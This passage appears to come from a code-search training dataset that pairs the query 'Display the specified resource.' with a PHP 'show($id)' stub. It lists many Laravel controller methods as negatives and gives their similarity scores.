$currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Display the specified resource.
public function show($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962" ]
0.0
-1
Show the form for editing the specified resource.
public function edit($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit(form $form)\n {\n //\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function 